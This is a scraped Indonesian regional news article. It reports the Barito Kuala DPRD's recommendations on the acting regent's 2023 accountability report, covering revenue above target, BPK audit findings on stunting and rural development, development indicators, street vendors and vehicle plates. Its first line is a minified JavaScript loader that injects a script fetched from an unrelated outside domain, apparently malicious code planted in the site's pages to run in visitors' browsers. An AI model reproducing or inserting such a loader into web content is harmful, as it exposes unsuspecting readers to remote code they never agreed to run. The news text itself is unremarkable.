(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARABAHAN- Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Barito Kuala memberikan rekomendasi atas Laporan Kegiatan Pertanggungjawaban (LKPj) Penjabat (Pj) Bupati Batola. Salah satu poin utama dalam rekomendasi tersebut adalah apresiasi terhadap capaian prestasi Pemerintah Daerah dalam memenuhi target Pendapatan Asli Daerah (PAD) Tahun 2023 yang mengalami kenaikan signifikan.
Berdasarkan data yang disampaikan dalam LKPj tahun anggaran 2023, PAD mengalami kenaikan sebesar Rp. 97.257.689.881,39 atau 120,20% dari target yang ditetapkan sebesar Rp. 80.911.857.461. Prestasi ini diharapkan dapat dipertahankan dan bahkan ditingkatkan di masa mendatang.
Selain itu, DPRD mengharapkan adanya perbaikan kesalahan penulisan mengenai jumlah kelurahan dan desa di Kabupaten Barito Kuala. Jumlah desa yang sebenarnya adalah 195 namun tertulis 6, sedangkan jumlah kelurahan seharusnya 6 tetapi tertulis 195.
DPRD juga memberikan rekomendasi terkait hasil audit Badan Pemeriksa Keuangan (BPK) RI mengenai beberapa temuan. Untuk pemeriksaan kinerja percepatan penurunan prevalensi stunting tahun anggaran 2022-2023, Kepala Bappelitbang dan Kepala Dinas Konvergensi diharapkan dapat mengusulkan program yang fokus pada percepatan pencegahan dan penurunan stunting.
Kepala Dinas Kesehatan diinstruksikan untuk memastikan terpenuhinya tenaga kesehatan serta sarana dan prasarana yang cukup dan layak guna mendukung pelaksanaan intervensi penurunan prevalensi stunting. Selain itu, Kepala DP3AP2KB, Kepala Dinas Kesehatan, dan Kepala Bappelitbang diminta melakukan pengawasan atas pengumpulan, penginputan, dan pelaporan data percepatan penurunan prevalensi stunting, dengan verifikasi dan validasi kelengkapan, keakuratan, dan konsistensi data.
Untuk pemeriksaan kinerja pembangunan kawasan perdesaan guna mempercepat dan meningkatkan kualitas pelayanan, pengembangan ekonomi, dan pemberdayaan masyarakat desa tahun anggaran 2021 hingga semester I 2023, DPRD merekomendasikan pembentukan gugus tugas yang dipimpin oleh Sekda bersama OPD terkait.
Gugus tugas ini harus dievaluasi maksimal tiga bulan sekali untuk menyelesaikan temuan dalam LHP BPK RI. Kepala Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu (DPMPTSP) bersama Kepala Bagian Hukum Sekretariat Daerah (Setda) diinstruksikan untuk memproses hingga ditetapkannya Perda Pemberian Insentif dan/atau kemudahan berinvestasi.
Selain itu, Sekretaris Daerah bersama Kepala Bappelitbang diminta untuk melakukan evaluasi menyeluruh terkait kelengkapan, kejelasan, keselarasan, dan pemutakhiran dokumen perencanaan pembangunan daerah.
DPRD juga menginstruksikan Sekretaris Daerah bersama Kepala Bappelitbang dan OPD terkait dalam keanggotaan TKPKP Kabupaten untuk memutakhirkan RPKP sesuai hasil pendataan dan ketentuan penyusunan RPKP, serta menanggarkan dana dari APBD Kabupaten dan mengupayakan pendanaan dari sumber lain yang sah.
Kepala OPD seperti Dinas Pertanian Tanaman Pangan dan Hortikultura, Dinas Koperasi, Perindustrian, dan Perdagangan, serta Dinas Pemberdayaan Masyarakat Desa diharapkan dapat mengupayakan optimalisasi kegiatan pengembangan komoditas unggulan kawasan pedesaan dan melakukan koordinasi bersama Kepala Bappelitbang dalam pemenuhan sarana dan prasarana lainnya.
DPRD menekankan pentingnya hasil Musrenbang Tahun 2023 sebagai bahan pertimbangan dalam menentukan arah kebijakan pembangunan yang lebih baik sehingga dapat meningkatkan pembangunan daerah dibandingkan dengan Kabupaten/Kota lainnya di Provinsi Kalimantan Selatan.
Selain itu, DPRD meminta laporan tentang progres penyelamatan PT. Bank Perkreditan Rakyat (BPR) Alalak Kabupaten Barito Kuala serta laporan perusahaan daerah lainnya yang berpotensi meningkatkan PAD dan aset yang dipisahkan.
Menurut data Badan Pusat Statistik (BPS) tahun 2023, Kabupaten Barito Kuala berada di urutan ke-13 dengan Indeks Pembangunan Manusia (IPM) sebesar 70,67 dari total IPM Provinsi Kalimantan Selatan sebesar 74,66. Meskipun anggaran sudah digunakan secara maksimal, data ini menunjukkan bahwa pertumbuhan IPM belum sinkron dengan anggaran yang digunakan.
Selain itu, Kabupaten Barito Kuala mengalami pertumbuhan Produk Domestik Regional Bruto (PDRB) yang melambat dengan angka 3,91 dari nilai PDRB Kalimantan Selatan sebesar 4,84.
DPRD juga meminta Dinas terkait untuk menertibkan pedagang kaki lima yang menggunakan badan jalan di sepanjang jalan Trans Kalimantan, karena menghambat lalu lintas.
Selain itu, audit kinerja yang telah dijalankan pada tahun 2023 menemukan beberapa masalah dalam mekanisme kerja OPD terkait. Oleh karena itu, DPRD merekomendasikan agar pemerintah Kabupaten Barito Kuala kembali mengaudit kinerja OPD lainnya yang berkaitan dengan pembangunan daerah, termasuk audit kinerja perusahaan daerah yang berpotensi menambah PAD.
Terakhir, DPRD merekomendasikan penyeragaman plat kendaraan dinas sesuai aturan yang telah ditetapkan, terutama untuk eselon II dengan dua angka, eselon III dengan tiga angka, dan operasional dengan empat angka.
Mobil Wakil Ketua DPRD juga harus mengikuti aturan plat nomor yang seharusnya menggunakan angka 7 dan 8.(kanalkalimantan.com/rls).
Editor: rdy
KANALKALIMANTAN.COM, BANJARMASIN - Logistik surat suara Pemilihan Kepala Daerah (Pilkada) 2024 di Kota Banjarmasin mulai… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pengembangan kapasitas pengrajin anyaman purun dan alat penunjang produksi kerajinan, bantuan dana… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Dua hari jelang pemungutan suara Pilkada 2024, Komisi Pemilihan Umum (KPU) Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Melihat dan menyikapi penyelenggaraan Pilkada (Pemilihan Kepala Daerah) Kota Banjarbaru, pasca terbit… Read More
KANALKALIMANTAN.COM, BANJARBARU - Warga Kota Banjarbaru masih dibuat bingung terkait teknis pemungutan suara pada Pilkada… Read More
KANALKALIMANTAN.COM, BAKU - Pemerintah Indonesia melalui Utusan Khusus Presiden Republik Indonesia Hashim Djojohadikusumo berhasil memikat… Read More
This website uses cookies.